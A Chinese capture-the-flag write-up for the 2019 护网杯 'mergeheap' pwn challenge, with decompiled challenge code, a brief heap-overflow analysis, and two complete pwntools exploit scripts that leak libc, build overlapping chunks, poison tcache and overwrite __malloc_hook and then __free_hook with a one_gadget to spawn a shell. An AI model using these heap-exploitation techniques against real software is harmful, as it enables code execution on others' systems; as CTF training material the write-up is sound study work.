2019-护网杯-pwn-mergeheap

题目逻辑

main

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  sub_AA1(a1, a2, a3);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        print();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        merge();
        break;
      case 5u:
        exit(0);
        return;
      default:
        continue;
    }
  }
}

add

int add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 14 && content_list[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("len:");
  v2 = read_num();
  if ( v2 < 0 || v2 > 1024 )
    return puts("invalid");
  content_list[i] = malloc(v2);
  printf("content:");
  sub_AEE(content_list[i], v2);
  size_list[i] = v2;
  return puts("Done");
}

delete

int delete()
{
  _DWORD *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v2 = read_num();
  if ( v2 >= 0 && v2 <= 14 && content_list[v2] )
  {
    free((void *)content_list[v2]);
    content_list[v2] = 0LL;
    v0 = size_list;
    size_list[v2] = 0;
  }
  else
  {
    LODWORD(v0) = puts("invalid");
  }
  return (signed int)v0;
}

print

int print()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("idx:");
  v1 = read_num();
  if ( v1 >= 0 && v1 <= 14 && content_list[v1] )
    result = puts((const char *)content_list[v1]);
  else
    result = puts("invalid");
  return result;
}

merge

int merge()
{
  int v1; // ST1C_4
  signed int i; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+Ch] [rbp-14h]
  int v4; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 14 && content_list[i]; ++i )
    ;
  if ( i > 14 )
    return puts("full");
  printf("idx1:");
  v3 = read_num();
  if ( v3 < 0 || v3 > 14 || !content_list[v3] )
    return puts("invalid");
  printf("idx2:");
  v4 = read_num();
  if ( v4 < 0 || v4 > 14 || !content_list[v4] )
    return puts("invalid");
  v1 = size_list[v3] + size_list[v4];
  content_list[i] = malloc(v1);
  strcpy((char *)content_list[i], (const char *)content_list[v3]);
  strcat((char *)content_list[i], (const char *)content_list[v4]);
  size_list[i] = v1;
  return puts("Done");
}

分析

利用merge和空间分配时候presize复用原则(比如申请0x18实际给你分配的是0x20)泄漏出libc,同时可以构造overlapping,随后利用重新分配出的空间,可以修改tcache表中fd指针,利用类似fastbin attack,申请到mallochook,复写为one_shot。

EXP:

from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("len:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)

def show(idx):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("idx:")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil(">>")
    p.sendline("3")
    p.recvuntil("idx:")
    p.sendline(str(idx))


def merge(idx1, idx2):
    p.recvuntil(">>")
    p.sendline("4")
    p.recvuntil("idx1:")
    p.sendline(str(idx1))
    p.recvuntil("idx2:")
    p.sendline(str(idx2))

sizes = 0x202060
ptrs = 0x2020a0


for x in range(10):
    add(0x80, "c"*0x6+'\n')


for i in range(9):
    dele(i)

add(0x8, "e" * 0x8)

# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)

# for x in range(7):
#   add(0x40, "c"*0x40)

# for i in range(7):
#   dele(i)

add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5


for x in range(7):
    add(0x60, "9"*0x60)

for i in range(6,14):
    dele(i)

fake_fastbin = p64(libcbase+libc.symbols["__malloc_hook"] - 0x23)
pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7  + fake_fastbin
# pay += '\x00'*8 + '\x70' + '\x00'*7 + p64(fake_fastbin)
pay += '\n'#(0x200-len(pay))*'1'

dele(3)
merge(1,2)  # 3  overlapping   4-3
dele(4)
# dele(5) # fastbin
# add(0x200,pay) # 4

for x in range(7):
    add(0x60, "8" * 0x60) # 5-11 for tcache

dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12 

one = 0x4f2c5
payload = "\x00" *0x23 + p64(libcbase + one)
add(0x60, payload + '\n') # 12 
print "one_shot ======> ", hex(libcbase + one)
print "__malloc_hook ======> ", hex(libcbase+libc.symbols["__malloc_hook"])
# gdb.attach(p)
add(0x300,'\n') # 4

p.interactive()



"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

通过调试可以看到确实重写了mallochook处的内容,但是报错没有getshell,猜测地址从tcache分配出去后,中间某个检查没有通过,网上简单查了下说是glibc2.27直接把hook这个机制取消?大概是这么个思路,具体的细节有时间再看下。

后续:

1wc师傅说可能是不满足one-shot执行的条件,建议换成free_hook再尝试一下,果真可以了,还是太菜了。。新的exp如下:

from pwn import *
context.log_level = "debug"
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./mergeheap")
elf = ELF("./mergeheap")
libc = ELF("./libc-2.27.so")
def add(size, content):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("len:")
    p.sendline(str(size))
    p.recvuntil("content:")
    p.send(content)

def show(idx):
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("idx:")
    p.sendline(str(idx))

def dele(idx):
    p.recvuntil(">>")
    p.sendline("3")
    p.recvuntil("idx:")
    p.sendline(str(idx))


def merge(idx1, idx2):
    p.recvuntil(">>")
    p.sendline("4")
    p.recvuntil("idx1:")
    p.sendline(str(idx1))
    p.recvuntil("idx2:")
    p.sendline(str(idx2))

sizes = 0x202060
ptrs = 0x2020a0


for x in range(10):
    add(0x80, "c"*0x6+'\n')


for i in range(9):
    dele(i)

add(0x8, "e" * 0x8)

# leak libc_base address
show(0)
p.recv(8)
leakaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leakaddr - 0x3ebdb0
print "leak_addr ====>",hex(leakaddr)
print "libc_base ====>",hex(libcbase)
dele(0)

## prepare for overlapping

add(0x90, "0" * 0x90) # 0
add(0x98, "4" * 0x98) # 1
add(0x100, "5" * (0x100-2) + '\x10' + '\x02') # 2
add(0x198, "6" * 0x198) # 3
add(0x60, "7" * 0x60) # 4
add(0x60, "a" * 0x60) # 5


for x in range(7):
    add(0x60, "9"*0x60)

for i in range(6,14):
    dele(i)

pay = 0x60*'1' + '\x00'*8 + '\x70' + '\x00'*7  + p64(libcbase+libc.symbols["__free_hook"])
pay += '\n'

dele(3)
merge(1,2)  # 3  overlapping   4-3
dele(4)


for x in range(7):
    add(0x60, "8" * 0x60) # 5-11 for tcache

dele(5) # tcache
add(0x200,pay) # 4
add(0x60, "8" * 0x60) # 12 

one = 0x4f322
payload =  p64(libcbase + one)
add(0x60, payload + '\n') # 12 
print "one_shot ======> ", hex(libcbase + one)
print "__free_hook ======> ", hex(libcbase+libc.symbols["__free_hook"])
# gdb.attach(p)
dele(0)

p.interactive()



"""
nevv@ubuntu:~$ one_gadget Desktop/libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

你可能感兴趣的:(2019-护网杯-pwn-mergeheap)